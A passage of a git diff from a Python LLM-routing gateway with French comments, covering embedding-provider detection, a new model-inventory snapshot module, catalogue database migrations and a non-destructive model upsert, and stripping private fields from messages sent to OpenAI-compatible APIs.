Dict[str, str]: + def _load_hash_to_category() -> dict[str, str]: conn = get_connection() rows = conn.execute( "SELECT user_prompt_hash, dominant_category FROM routing_decisions " @@ -367,19 +367,19 @@ async def _detect_provider_async(self) -> None: local_targets = [ { "type": "ollama", - "url": "http://${OLLAMA_HOST:-localhost}:11434/api/embeddings", + "url": "http://${DECK_HOST:-192.168.1.x}:11434/api/embeddings", "payload": {"model": "nomic-embed-text", "prompt": "ping"}, "model": "nomic-embed-text" }, { "type": "ollama", - "url": "http://${OLLAMA_HOST:-localhost}:11434/api/embeddings", + "url": "http://${DECK_HOST_WIFI:-192.168.1.x}:11434/api/embeddings", "payload": {"model": "nomic-embed-text", "prompt": "ping"}, "model": "nomic-embed-text" }, { "type": "lmstudio", - "url": "http://${LMSTUDIO_HOST:-localhost}:1234/v1/embeddings", + "url": "http://${LM_STUDIO_HOST:-192.168.1.x}:1234/v1/embeddings", "payload": {"model": "nomic-embed-text", "input": ["ping"]}, "model": "nomic-embed-text" } @@ -410,7 +410,7 @@ async def _detect_provider_async(self) -> None: gemini_key = pool.get_free_key() except Exception: pass - + if gemini_key: url = f"https://generativelanguage.googleapis.com/v1beta/models/text-embedding-004:embedContent?key={gemini_key}" payload = { @@ -444,19 +444,19 @@ def _detect_provider_sync(self) -> None: local_targets = [ { "type": "ollama", - "url": "http://${OLLAMA_HOST:-localhost}:11434/api/embeddings", + "url": "http://${DECK_HOST:-192.168.1.x}:11434/api/embeddings", "payload": {"model": "nomic-embed-text", "prompt": "ping"}, "model": "nomic-embed-text" }, { "type": "ollama", - "url": "http://${OLLAMA_HOST:-localhost}:11434/api/embeddings", + "url": "http://${DECK_HOST_WIFI:-192.168.1.x}:11434/api/embeddings", "payload": {"model": "nomic-embed-text", "prompt": "ping"}, "model": "nomic-embed-text" }, { "type": "lmstudio", - "url": "http://${LMSTUDIO_HOST:-localhost}:1234/v1/embeddings", + "url": "http://${LM_STUDIO_HOST:-192.168.1.x}:1234/v1/embeddings", "payload": {"model": "nomic-embed-text", "input": ["ping"]}, "model": "nomic-embed-text" } @@ -485,7 +485,7 @@ def _detect_provider_sync(self) -> None: gemini_key = pool.get_free_key() except Exception: pass - + if gemini_key: url = f"https://generativelanguage.googleapis.com/v1beta/models/text-embedding-004:embedContent?key={gemini_key}" payload = { @@ -507,7 +507,7 @@ def _detect_provider_sync(self) -> None: self._detected_provider = "tfidf" logger.info("[ML ROUTER] Aucun service d'embedding actif trouvé (sync). Fallback vers TF-IDF local.") - async def _batch_embed(self, texts: List[str]) -> Optional[List[List[float]]]: + async def _batch_embed(self, texts: list[str]) -> list[list[float]] | None: """Récupère les embeddings en batch depuis le fournisseur actif.""" if not texts: return None @@ -587,7 +587,7 @@ async def get_single_ollama(text): # Prédiction # ────────────────────────────────────────────────────────────────── - def predict(self, user_prompt: str) -> Tuple[Optional[str], float]: + def predict(self, user_prompt: str) -> tuple[str | None, float]: """ Prédit le routing_type pour un prompt. @@ -656,7 +656,7 @@ def _embedding_space_ok(self, produced_dim: int) -> bool: return False return True - def _embed_sync(self, text: str) -> Optional[np.ndarray]: + def _embed_sync(self, text: str) -> np.ndarray | None: """Embedding synchrone (requests) pour predict() appelé en contexte sync.""" if self._detected_provider is None: self._detect_provider_sync() diff --git a/core/model_inventory.py b/core/model_inventory.py new file mode 100644 index 0000000..e7e4f8f --- /dev/null +++ b/core/model_inventory.py @@ -0,0 +1,144 @@ +""" +core/model_inventory.py — Instantané de ce que les API offrent réellement (#T243). + +Le catalogue (`models_registry.db`) dit ce qu'on *croit* avoir ; les endpoints de +listing des providers disent ce qui *existe* chez eux aujourd'hui. Ce module conserve +le résultat du second dans un instantané sur disque, pour que l'IHM puisse afficher +le troisième signal de curation — « absent du listing de son API » — sans déclencher +une douzaine d'appels réseau à chaque affichage du registre. + +⚠️ **Ce signal ne prouve JAMAIS qu'un modèle est mort.** Vérifié le 10/08 : un endpoint +`/models` n'expose pas forcément les alias encore servis — `deepseek-chat` est absent +du listing de DeepSeek et répond pourtant HTTP 200, alors que c'est l'un des modèles +les plus appelés en production. Seul un appel réel prouve une absence (c'est ainsi +qu'a été confirmé `gemma-4-31b-cerebras` → HTTP 404). D'où le vocabulaire retenu +partout ici et dans l'IHM : « absent du listing », jamais « mort » ni « supprimé ». + +L'instantané est de l'état runtime (comme `config.json`) : gitignoré, écrit +atomiquement via `core.safe_io`. +""" + +from __future__ import annotations + +import logging +import os +from datetime import UTC, datetime +from typing import Any + +from core.safe_io import safe_json_write + +logger = logging.getLogger(__name__) + +RACINE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +CHEMIN_INSTANTANE = os.path.join(RACINE, "data", "model_inventory.json") + +# Suffixes/préfixes que le CATALOGUE ajoute pour désambiguïser un identifiant, et que +# l'API ne connaît évidemment pas. Sans ce détourage, une trentaine de modèles seraient +# signalés « absents » à tort : le catalogue porte `gemini-3.5-flash-paid` là où l'API +# annonce `gemini-3.5-flash`, `deepinfra/deepseek-r1` pour `deepseek-r1`, etc. +# (Le champ propre est `ModelSpec.api_model_id`, #T231 — mais la table `models` ne le +# porte pas encore ; ce détourage est le repli tant que la migration n'est pas faite.) +_SUFFIXES_CATALOGUE = ("-free", "-paid", "-cli", "-preview-paid") + + +def _variantes(model_id: str, provider_id: str) -> set[str]: + """Noms sous lesquels ce modèle du catalogue peut apparaître chez son API.""" + base = (model_id or "").strip() + variantes = {base, base.lower()} + + sans_prefixe = base.split("/", 1)[1] if "/" in base else base + variantes |= {sans_prefixe, sans_prefixe.lower()} + + for depart in (base, sans_prefixe): + for suffixe in _SUFFIXES_CATALOGUE: + if depart.endswith(suffixe): + coupe = depart[: -len(suffixe)] + variantes |= {coupe, coupe.lower()} + + # Préfixe explicite du provider (`dashscope/qwen…` → `qwen…`) + if provider_id and base.lower().startswith(f"{provider_id.lower()}/"): + coupe = base[len(provider_id) + 1:] + variantes |= {coupe, coupe.lower()} + + return {v for v in variantes if v} + + +def charger() -> dict[str, Any] | None: + """Lit l'instantané, ou None s'il n'a jamais été généré / est illisible.""" + if not os.path.exists(CHEMIN_INSTANTANE): + return None + try: + import json + with open(CHEMIN_INSTANTANE, encoding="utf-8") as fh: + return json.load(fh) + except Exception as exc: + logger.warning("[INVENTAIRE] Instantané illisible (%s) : %s", CHEMIN_INSTANTANE, exc) + return None + + +def offert_par_api( + provider_id: str, model_id: str, instantane: dict[str, Any] | None +) -> bool | None: + """True / False / **None si on ne sait pas**. + + None couvre les deux cas d'ignorance, qu'il ne faut surtout pas confondre avec + « absent » : aucun instantané généré, ou provider qui n'a pas répondu lors du + dernier passage (sans clé, HTTP 4xx, injoignable). + """ + if not instantane: + return None + entree = (instantane.get("providers") or {}).get(provider_id) + if not entree or entree.get("statut") != "OK": + return None + offerts = {str(m) for m in entree.get("offerts", [])} + offerts_bas = {m.lower() for m in offerts} + for variante in _variantes(model_id, provider_id): + if variante in offerts or variante.lower() in offerts_bas: + return True + return False + + +def rafraichir() -> dict[str, Any]: + """Interroge toutes les API et réécrit l'instantané. Bloquant (appels réseau). + + Rendu tel quel pour que l'appelant puisse afficher le bilan ; la route HTTP le + lance dans un thread pour ne pas bloquer la boucle asyncio. + """ + from tools.discover_provider_models import SPECIAUX, _endpoints_openai_compat, interroger + + endpoints = {**_endpoints_openai_compat(), **SPECIAUX} + providers: dict[str, Any] = {} + for pid, conf in endpoints.items(): + statut, modeles, detail = interroger(pid, conf) + providers[pid] = {"statut": statut, "detail": detail, "offerts": modeles} + + instantane = { + "genere_le": datetime.now(UTC).isoformat(timespec="seconds"), + "providers": providers, + } + os.makedirs(os.path.dirname(CHEMIN_INSTANTANE), exist_ok=True) + safe_json_write(CHEMIN_INSTANTANE, instantane) + + ok = sum(1 for p in providers.values() if p["statut"] == "OK") + logger.info( + "[INVENTAIRE] %d/%d provider(s) ont répondu, %d modèle(s) recensés.", + ok, len(providers), sum(len(p["offerts"]) for p in providers.values()), + ) + return instantane + + +def resume(instantane: dict[str, Any] | None) -> dict[str, Any]: + """Bilan compact pour l'IHM (sans la liste complète des modèles).""" + if not instantane: + return {"genere_le": None, "providers_ok": 0, "providers_total": 0, "modeles_recenses": 0} + providers = instantane.get("providers") or {} + return { + "genere_le": instantane.get("genere_le"), + "providers_ok": sum(1 for p in providers.values() if p.get("statut") == "OK"), + "providers_total": len(providers), + "modeles_recenses": sum(len(p.get("offerts") or []) for p in providers.values()), + "par_provider": { + pid: {"statut": p.get("statut"), "offerts": len(p.get("offerts") or [])} + for pid, p in providers.items() + }, + } diff --git a/core/models_db.py b/core/models_db.py index 3cf4bdf..9e1473d 100644 --- a/core/models_db.py +++ b/core/models_db.py @@ -30,14 +30,14 @@ import asyncio import concurrent.futures -import os import json -import time -import sqlite3 import logging +import os +import sqlite3 import threading +import time from contextlib import contextmanager -from typing import Optional, List, Dict, Any +from typing import Any logger = logging.getLogger("core.models_db") @@ -60,7 +60,7 @@ _thread_local = threading.local() # Cache en mémoire pour get_routing_score() — appelé N fois par sort dans le gateway -_routing_score_cache: Dict[str, tuple] = {} +_routing_score_cache: dict[str, tuple] = {} _routing_cache_lock = threading.Lock() _ROUTING_CACHE_TTL = 60.0 # secondes @@ -69,6 +69,21 @@ # Connexion et création des tables # ══════════════════════════════════════════════════════════════════ +def _ensure_columns(conn: sqlite3.Connection, table: str, columns: dict[str, str]) -> None: + """ + Ajoute les colonnes manquantes à une table existante (migration additive idempotente). + + Permet d'aligner les bases créées avec un ancien schéma sans recréer la table. + Ne touche pas aux colonnes déjà présentes (ALTER TABLE ... ADD COLUMN uniquement). + """ + cursor = conn.execute(f"PRAGMA table_info({table})") + existing = {row[1] for row in cursor.fetchall()} + for col_name, col_def in columns.items(): + if col_name not in existing: + logger.info(f"[ModelsDB] Migration : ajout de la colonne '{col_name}' à '{table}'.") + conn.execute(f"ALTER TABLE {table} ADD COLUMN {col_name} {col_def}") + + def _ensure_schema(conn: sqlite3.Connection) -> None: """Crée toutes les tables et index si absents. Appelé une seule fois par connexion thread-locale.""" # ── Table providers ────────────────────────────────────────── @@ -122,6 +137,13 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: CREATE INDEX IF NOT EXISTS idx_models_status ON models(status) """) + # routing_tier (leger/moyen/fort) : niveau de capacité pour le routeur. + # Distinct de `tier` (canal d'accès : free/paid/subscription/pro/local) déjà existant. + _ensure_columns(conn, "models", {"routing_tier": "TEXT"}) + conn.execute(""" + CREATE INDEX IF NOT EXISTS idx_models_routing_tier + ON models(routing_tier) + """) # ── Table api_keys ─────────────────────────────────────────── conn.execute(""" @@ -288,7 +310,7 @@ def _write_transaction(): # LECTURE — Fonctions de requête ciblée (utilisées par le moteur) # ══════════════════════════════════════════════════════════════════ -def get_model(model_id: str) -> Optional[Dict[str, Any]]: +def get_model(model_id: str) -> dict[str, Any] | None: """Retourne les détails d'un modèle par son ID.""" try: conn = _get_connection() @@ -301,7 +323,7 @@ def get_model(model_id: str) -> Optional[Dict[str, Any]]: return None -def get_active_models(provider_id: str = None) -> List[Dict[str, Any]]: +def get_active_models(provider_id: str = None) -> list[dict[str, Any]]: """Retourne tous les modèles actifs, optionnellement filtrés par provider.""" try: conn = _get_connection() @@ -320,24 +342,125 @@ def get_active_models(provider_id: str = None) -> List[Dict[str, Any]]: return [] -def get_models_for_tier(tier: str) -> List[Dict[str, Any]]: - """Retourne les modèles disponibles pour un tier donné.""" +def get_models_for_tier(routing_tier: str) -> list[dict[str, Any]]: + """ + Retourne les modèles actifs pour un routing_tier donné (leger/moyen/fort). + + routing_tier="automatique" ne filtre pas (tous les modèles actifs, toutes + capacités confondues) — reproduit le fallback cross-tier historique de + config.json["tiers"]["automatique"]. + """ try: conn = _get_connection() + if routing_tier == "automatique": + rows = conn.execute( + """SELECT m.*, p.cascade_priority, p.confidentiality, p.type as provider_type + FROM models m JOIN providers p ON m.provider_id = p.id + WHERE m.status = 'active' + ORDER BY p.cascade_priority ASC""" + ).fetchall() + else: + rows = conn.execute( + """SELECT m.*, p.cascade_priority, p.confidentiality, p.type as provider_type + FROM models m JOIN providers p ON m.provider_id = p.id + WHERE m.status = 'active' AND m.routing_tier = ? + ORDER BY p.cascade_priority ASC""", + (routing_tier,) + ).fetchall() + return [dict(r) for r in rows] + except Exception as e: + logger.warning(f"[ModelsDB] Erreur get_models_for_tier({routing_tier}): {e}") + return [] + + +def get_models_for_catalog_tiers(catalog_tiers: list[str]) -> list[dict[str, Any]]: + """ + [#T246] Retourne les modèles actifs dont le **tier catalogue** (colonne `tier` : + local/free/subscription/paid) est dans la liste passée, ordonnés par + cascade_priority. + + Distinct de get_models_for_tier() qui filtre sur `routing_tier` (leger/moyen/fort, + la capacité). Les deux colonnes ne portent pas la même information : aucun modèle + n'a routing_tier 'free'/'local', filtrer les paniers budgétaires sur routing_tier + les vidait structurellement. + """ + if not catalog_tiers: + return [] + try: + conn = _get_connection() + placeholders = ", ".join("?" for _ in catalog_tiers) rows = conn.execute( - """SELECT m.*, p.cascade_priority, p.confidentiality, p.type as provider_type - FROM models m JOIN providers p ON m.provider_id = p.id - WHERE m.status = 'active' AND m.tier = ? - ORDER BY p.cascade_priority ASC""", - (tier,) + f"""SELECT m.*, p.cascade_priority, p.confidentiality, p.type as provider_type + FROM models m JOIN providers p ON m.provider_id = p.id + WHERE m.status = 'active' AND m.tier IN ({placeholders}) + ORDER BY p.cascade_priority ASC""", + tuple(catalog_tiers) ).fetchall() return [dict(r) for r in rows] except Exception as e: - logger.warning(f"[ModelsDB] Erreur get_models_for_tier({tier}): {e}") + logger.warning(f"[ModelsDB] Erreur get_models_for_catalog_tiers({catalog_tiers}): {e}") + return [] + + +def get_all_models() -> list[dict[str, Any]]: + """ + [#T158] Retourne TOUS les modèles, actifs ET inactifs. + + Nécessaire au registre IHM : get_active_models() masque les modèles + inactifs, ce qui rendrait un toggle actif→inactif irréversible depuis + l'interface (le modèle disparaîtrait de la liste). + """ + try: + conn = _get_connection() + rows = conn.execute("SELECT * FROM models ORDER BY provider_id, id").fetchall() + return [dict(r) for r in rows] + except Exception as e: + logger.warning(f"[ModelsDB] Erreur get_all_models: {e}") return [] -def get_model_cost(model_id: str) -> Dict[str, Any]: +def set_model_status(model_id: str, status: str) -> bool: + """ + [#T158] Met à jour UNIQUEMENT le statut d'un modèle (active/inactive). + + UPDATE ciblé volontairement distinct d'upsert_model : l'INSERT OR REPLACE + de ce dernier remet à leur valeur par défaut tous les champs non fournis + (routing_tier compris) — inadapté à un simple interrupteur. + """ + if status not in ("active", "inactive"): + raise ValueError(f"Statut invalide : {status!r} (attendu 'active' ou 'inactive')") + try: + with _write_transaction() as conn: + cur = conn.execute( + "UPDATE models SET status = ? WHERE id = ?", (status, model_id) + ) + return cur.rowcount > 0 + except Exception as e: + logger.error(f"[ModelsDB] Erreur set_model_status({model_id}, {status}): {e}") + return False + + +def set_model_routing_tier(model_id: str, routing_tier: str | None) -> bool: + """ + [#T158/#T185] Met à jour UNIQUEMENT le routing_tier d'un modèle + (leger/moyen/fort, ou None = retiré du routage par capacité). + """ + if routing_tier not in (None, "leger", "moyen", "fort"): + raise ValueError( + f"routing_tier invalide : {routing_tier!r} (attendu leger/moyen/fort ou null)" + ) + try: + with _write_transaction() as conn: + cur = conn.execute( + "UPDATE models SET routing_tier = ? WHERE id = ?", (routing_tier, model_id) + ) + return cur.rowcount > 0 + except Exception as e: + logger.error(f"[ModelsDB] Erreur set_model_routing_tier({model_id}): {e}") + return False + + +def get_model_cost(model_id: str) -> dict[str, Any]: """Retourne les tarifs d'un modèle (input, output, cached, currency).""" try: conn = _get_connection() @@ -395,7 +518,7 @@ def _fetch_routing_score_db(model_id: str) -> float: return 5.0 -def get_bulk_routing_scores(model_ids: List[str]) -> Dict[str, float]: +def get_bulk_routing_scores(model_ids: list[str]) -> dict[str, float]: """Retourne les cascade_priority pour une liste de modèles en une seule requête. Utilisé par le gateway pour éviter N appels DB lors du tri des modèles d'un tier. @@ -404,8 +527,8 @@ def get_bulk_routing_scores(model_ids: List[str]) -> Dict[str, float]: if not model_ids: return {} now = time.time() - result: Dict[str, float] = {} - missing: List[str] = [] + result: dict[str, float] = {} + missing: list[str] = [] # Lire d'abord le cache with _routing_cache_lock: @@ -440,7 +563,7 @@ def get_bulk_routing_scores(model_ids: List[str]) -> Dict[str, float]: return result -def get_provider(provider_id: str) -> Optional[Dict[str, Any]]: +def get_provider(provider_id: str) -> dict[str, Any] | None: """Retourne les détails d'un provider.""" try: conn = _get_connection() @@ -453,7 +576,7 @@ def get_provider(provider_id: str) -> Optional[Dict[str, Any]]: return None -def get_all_providers() -> List[Dict[str, Any]]: +def get_all_providers() -> list[dict[str, Any]]: """Retourne tous les providers.""" try: conn = _get_connection() @@ -464,7 +587,7 @@ def get_all_providers() -> List[Dict[str, Any]]: return [] -def get_all_api_keys(hide_values: bool = True) -> List[Dict[str, Any]]: +def get_all_api_keys(hide_values: bool = True) -> list[dict[str, Any]]: """Retourne toutes les clés API (sans les valeurs sensibles par défaut).""" try: conn = _get_connection() @@ -483,7 +606,7 @@ def get_all_api_keys(hide_values: bool = True) -> List[Dict[str, Any]]: return [] -def get_benchmarks(model_id: str) -> List[Dict[str, Any]]: +def get_benchmarks(model_id: str) -> list[dict[str, Any]]: """Retourne les benchmarks d'un modèle.""" try: conn = _get_connection() @@ -497,7 +620,7 @@ def get_benchmarks(model_id: str) -> List[Dict[str, Any]]: return [] -def get_subscriptions() -> List[Dict[str, Any]]: +def get_subscriptions() -> list[dict[str, Any]]: """Retourne tous les abonnements.""" try: conn = _get_connection() @@ -518,7 +641,7 @@ def get_subscriptions() -> List[Dict[str, Any]]: return [] -def get_routing_rules() -> List[Dict[str, Any]]: +def get_routing_rules() -> list[dict[str, Any]]: """Retourne toutes les règles de routage.""" try: conn = _get_connection() @@ -532,10 +655,10 @@ def get_routing_rules() -> List[Dict[str, Any]]: # ══════════════════════════════════════════════════════════════════ -# LECTURE — Access Channels & Quotas temps réel +# LECTURE — Access Channels & Quotas temps réel # ══════════════════════════════════════════════════════════════════ -def get_access_channels(model_id: str) -> List[Dict[str, Any]]: +def get_access_channels(model_id: str) -> list[dict[str, Any]]: """Retourne tous les canaux d'accès pour un modèle (clé, méthode, vitesse).""" try: conn = _get_connection() @@ -554,7 +677,7 @@ def get_access_channels(model_id: str) -> List[Dict[str, Any]]: return [] -def get_models_for_key(api_key_id: str) -> List[Dict[str, Any]]: +def get_models_for_key(api_key_id: str) -> list[dict[str, Any]]: """Retourne tous les modèles accessibles par une clé API donnée.""" try: conn = _get_connection() @@ -573,7 +696,7 @@ def get_models_for_key(api_key_id: str) -> List[Dict[str, Any]]: return [] -def get_access_map() -> Dict[str, Any]: +def get_access_map() -> dict[str, Any]: """Carte complète : pour chaque clé API, les modèles accessibles + quotas temps réel.""" try: conn = _get_connection() @@ -629,7 +752,7 @@ def get_access_map() -> Dict[str, Any]: return {} -def get_quota_realtime(api_key_id: str) -> Optional[Dict[str, Any]]: +def get_quota_realtime(api_key_id: str) -> dict[str, Any] | None: """Retourne le snapshot de quota temps réel pour une clé API.""" try: conn = _get_connection() @@ -643,7 +766,7 @@ def get_quota_realtime(api_key_id: str) -> Optional[Dict[str, Any]]: return None -def get_all_quotas_realtime() -> List[Dict[str, Any]]: +def get_all_quotas_realtime() -> list[dict[str, Any]]: """Retourne tous les quotas temps réel avec infos clé API.""" try: conn = _get_connection() @@ -659,7 +782,7 @@ def get_all_quotas_realtime() -> List[Dict[str, Any]]: return [] -def get_quota_summary() -> Dict[str, Any]: +def get_quota_summary() -> dict[str, Any]: """Résumé compact des quotas pour le dashboard HMI.""" try: conn = _get_connection() @@ -725,49 +848,88 @@ def upsert_provider(provider_id: str, **kwargs) -> bool: return False +# Colonnes de `models` acceptées par upsert_model, avec la valeur posée À LA +# CRÉATION quand l'appelant ne la fournit pas. `None` = laisser le défaut SQL. +_COLONNES_MODELE: dict[str, Any] = { + "provider_id": "unknown", + "display_name": None, # défaut spécial : l'id du modèle + "status": None, # défaut SQL 'active' + "tier": "free", + "routing_tier": None, + "context_input": None, + "context_output": None, + "cost_input_per_m": None, + "cost_output_per_m": None, + "cost_cached_per_m": None, + "currency": "USD", + "ttft_ms": None, + "throughput_tps": None, + "supports_thinking": 0, + "supports_tools": 0, + "supports_vision": 0, + "supports_audio": 0, + "supports_json_mode": 0, + "supports_streaming": 0, + "supports_search_grounding": 0, + "speciality": None, + "recommended_use": None, + "last_tested": None, + "notes": None, +} + + def upsert_model(model_id: str, **kwargs) -> bool: - """Insère ou met à jour un modèle.""" + """ + Insère ou met à jour un modèle — **sans écraser ce qui n'est pas fourni**. + + [#T254] Avant, la requête était un `INSERT OR REPLACE` portant les 25 + colonnes : tout appelant qui n'en renseignait qu'une partie remettait les + autres à NULL (ou à leur défaut). C'est ce qui a effacé du catalogue de prod + `cost_cached_per_m`, `currency` (tous les modèles EUR repassés en USD), + `supports_thinking`, `supports_search_grounding`, `ttft_ms`, + `throughput_tps` et `last_tested` — les descripteurs de plugins (#T231) ne + projetant que 16 colonnes sur 25, et l'enregistrement rejouant à CHAQUE + démarrage. + + Désormais : à la création, les défauts ci-dessus s'appliquent ; à la mise à + jour, **seules les colonnes explicitement passées** sont écrites. Corollaire + volontaire : on ne peut plus effacer une valeur en omettant la clé — il faut + passer explicitement `None`… ce qui reste impossible via `kwargs`, et c'est + exactement la garantie recherchée pour un catalogue enrichi par plusieurs + sources (seed, plugins, IHM, ping). + """ + fournies = {c: v for c, v in kwargs.items() if c in _COLONNES_MODELE} + inconnues = set(kwargs) - set(_COLONNES_MODELE) + if inconnues: + logger.warning(f"[ModelsDB] upsert_model({model_id}) : colonnes ignorées {sorted(inconnues)}") + + # Colonnes de l'INSERT : celles fournies + les défauts de création. + valeurs_insert: dict[str, Any] = {} + for colonne, defaut in _COLONNES_MODELE.items(): + if colonne in fournies: + valeurs_insert[colonne] = fournies[colonne] + elif colonne == "display_name": + valeurs_insert[colonne] = model_id + elif defaut is not None: + valeurs_insert[colonne] = defaut + + colonnes = ["id", *valeurs_insert.keys()] + parametres = [model_id, *valeurs_insert.values()] + # La mise à jour ne touche QUE ce que l'appelant a fourni. + maj = ", ".join(f"{c} = excluded.{c}" for c in fournies) + + # noqa S608 : les noms de colonnes viennent exclusivement de `_COLONNES_MODELE` + # (constante du module), jamais de l'appelant — les valeurs, elles, restent + # passées en paramètres liés. + requete = ( # noqa: S608 + f"INSERT INTO models ({', '.join(colonnes)}) " + f"VALUES ({', '.join('?' * len(colonnes))}) " + + (f"ON CONFLICT(id) DO UPDATE SET {maj}" if maj else "ON CONFLICT(id) DO NOTHING") + ) + try: with _write_transaction() as conn: - conn.execute( - """INSERT OR REPLACE INTO models - (id, provider_id, display_name, status, tier, - context_input, context_output, - cost_input_per_m, cost_output_per_m, cost_cached_per_m, currency, - ttft_ms, throughput_tps, - supports_thinking, supports_tools, supports_vision, - supports_audio, supports_json_mode, supports_streaming, - supports_search_grounding, - speciality, recommended_use, last_tested, notes) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, - ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""", - ( - model_id, - kwargs.get("provider_id", "unknown"), - kwargs.get("display_name", model_id), - kwargs.get("status", "active"), - kwargs.get("tier", "free"), - kwargs.get("context_input"), - kwargs.get("context_output"), - kwargs.get("cost_input_per_m"), - kwargs.get("cost_output_per_m"), - kwargs.get("cost_cached_per_m"), - kwargs.get("currency", "USD"), - kwargs.get("ttft_ms"), - kwargs.get("throughput_tps"), - kwargs.get("supports_thinking", 0), - kwargs.get("supports_tools", 0), - kwargs.get("supports_vision", 0), - kwargs.get("supports_audio", 0), - kwargs.get("supports_json_mode", 0), - kwargs.get("supports_streaming", 0), - kwargs.get("supports_search_grounding", 0), - kwargs.get("speciality"), - kwargs.get("recommended_use"), - kwargs.get("last_tested"), - kwargs.get("notes"), - ), - ) + conn.execute(requete, parametres) return True except Exception as e: logger.error(f"[ModelsDB] Erreur upsert_model({model_id}): {e}") @@ -1094,7 +1256,7 @@ def export_to_pricing_json() -> dict: return {} -def get_all_data() -> Dict[str, Any]: +def get_all_data() -> dict[str, Any]: """Dump complet de la BDD pour la route /api/models.""" return { "providers": get_all_providers(), @@ -1108,7 +1270,7 @@ def get_all_data() -> Dict[str, Any]: } -def get_db_stats() -> Dict[str, Any]: +def get_db_stats() -> dict[str, Any]: """Retourne des statistiques sur le contenu de la BDD.""" try: conn = _get_connection() @@ -1141,13 +1303,13 @@ def get_db_stats() -> Dict[str, Any]: # await async_update_quota_realtime("key_id", used_rpm=5, ...) # ══════════════════════════════════════════════════════════════════ -async def async_get_model(model_id: str) -> Optional[Dict[str, Any]]: +async def async_get_model(model_id: str) -> dict[str, Any] | None: """Version async de get_model() — ne bloque pas l'event loop.""" loop = asyncio.get_event_loop() return await loop.run_in_executor(_DB_EXECUTOR, get_model, model_id) -async def async_get_active_models(provider_id: str = None) -> List[Dict[str, Any]]: +async def async_get_active_models(provider_id: str = None) -> list[dict[str, Any]]: loop = asyncio.get_event_loop() return await loop.run_in_executor(_DB_EXECUTOR, get_active_models, provider_id) @@ -1158,17 +1320,17 @@ async def async_get_routing_score(model_id: str) -> float: return await loop.run_in_executor(_DB_EXECUTOR, get_routing_score, model_id) -async def async_get_bulk_routing_scores(model_ids: List[str]) -> Dict[str, float]: +async def async_get_bulk_routing_scores(model_ids: list[str]) -> dict[str, float]: loop = asyncio.get_event_loop() return await loop.run_in_executor(_DB_EXECUTOR, get_bulk_routing_scores, model_ids) -async def async_get_all_quotas_realtime() -> List[Dict[str, Any]]: +async def async_get_all_quotas_realtime() -> list[dict[str, Any]]: loop = asyncio.get_event_loop() return await loop.run_in_executor(_DB_EXECUTOR, get_all_quotas_realtime) -async def async_get_quota_summary() -> Dict[str, Any]: +async def async_get_quota_summary() -> dict[str, Any]: loop = asyncio.get_event_loop() return await loop.run_in_executor(_DB_EXECUTOR, get_quota_summary) @@ -1182,6 +1344,6 @@ async def async_update_quota_realtime(api_key_id: str, **kwargs) -> bool: ) -async def async_get_db_stats() -> Dict[str, Any]: +async def async_get_db_stats() -> dict[str, Any]: loop = asyncio.get_event_loop() return await loop.run_in_executor(_DB_EXECUTOR, get_db_stats) diff --git a/core/openai_compat_provider.py b/core/openai_compat_provider.py index 9f6d826..fea62d8 100644 --- a/core/openai_compat_provider.py +++ b/core/openai_compat_provider.py @@ -30,11 +30,35 @@ import requests from requests.adapters import HTTPAdapter +from core.llm.providers.base import LLMProvider from core.llm_timeouts import get_timeout logger = logging.getLogger(__name__) +def filtrer_champs_prives(messages: list) -> list: + """ + Retire les champs PRIVÉS (préfixe "_") des messages avant envoi HTTP. + + Le round-trip d'outils Gemini porte la thought_signature dans un champ + privé des tool_calls (cf. core/gemini_native.py, #T263). Ce champ est + interne au moteur : il ne doit JAMAIS partir dans le payload des + providers OpenAI-compatibles, qui peuvent rejeter un champ inconnu + (erreur 400). Le préfixe "_" n'est utilisé par aucun champ standard. + """ + nettoyes = [] + for msg in messages: + msg_propre = {k: v for k, v in msg.items() if not k.startswith("_")} + tool_calls = msg_propre.get("tool_calls") + if isinstance(tool_calls, list): + msg_propre["tool_calls"] = [ + {k: v for k, v in tc.items() if not k.startswith("_")} + for tc in tool_calls + ] + nettoyes.append(msg_propre) + return nettoyes + + # ────────────────────────────────────────────────────────────────── # Pool de connexions HTTP persistantes (Singleton thread-safe) # @@ -94,9 +118,17 @@ def get_session(cls) -> requests.Session: """ Retourne la session partagée (crée le singleton si besoin). Thread-safe — peut être appelé depuis n'importe quel thread. + + [#T268] Se réarme après close() : close() remet `_session` à None sans + détruire `_instance`, donc `SharedHTTPPool()` seul ne suffisait plus à + relancer l'initialisation (le __new__ rend l'instance existante sans + rappeler _init_session). On recrée ici sous verrou (double-check), + comme SharedAsyncHTTPPool.get_client(). """ if cls._session is None: - SharedHTTPPool() # Déclenche l'initialisation lazy + with cls._lock: + if cls._session is None: + cls._init_session() return cls._session @classmethod @@ -146,13 +178,22 @@ async def aclose(cls) -> None: cls._client = None -class OpenAICompatibleProvider: +class OpenAICompatibleProvider(LLMProvider): """ Classe générique pour tout provider exposant une API OpenAI-compatible. - + Factorise les 3 méthodes (generate, generate_structured, generate_stream) qui étaient copier-collées dans 9 providers distincts. - + + [#T240] Hérite de `LLMProvider` — la classe n'héritait de rien et lui manquait + donc `generate_structured_async()`, que `FallbackProvider` appelle pourtant sur + chaque provider de sa cascade (`core/llm/providers/deepseek.py:686`). Sur les + ~10 providers factorisés ici, l'appel levait un `AttributeError` avalé par le + `except Exception` de la cascade : chaque génération structurée échouait + silencieusement, enregistrait un échec au circuit breaker du modèle et passait au + suivant. `generate_async()` reste surchargée ci-dessous (vrai httpx async) ; seul + l'équivalent structuré est désormais fourni par la base (via `asyncio.to_thread`). + Paramètres de configuration : provider_name : Nom humain du provider (pour les logs) base_url : URL de l'endpoint /chat/completions @@ -221,7 +262,11 @@ def _estimate_and_record_stream_usage(self, messages: list, total_text: str, ses def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: """Génère une réponse complète (non-streaming) via l'API OpenAI-compatible.""" messages = kwargs.get("messages") - if not messages: + if messages: + # Champs privés internes du moteur (ex: _thought_signature Gemini) : + # jamais transmis aux APIs OpenAI-compatibles (#T263). + messages = filtrer_champs_prives(messages) + else: messages = [ {"role": "system", "content": system_prompt}, {"role": "user", "content": user_prompt}, @@ -236,6 +281,11 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: # Support des outils (function calling) if "tools" in kwargs: payload["tools"] = kwargs["tools"] + # `tool_choice` permet au client de FORCER (ou d'interdire) un appel + # d'outil. Sans ce relais, un client qui l'envoie 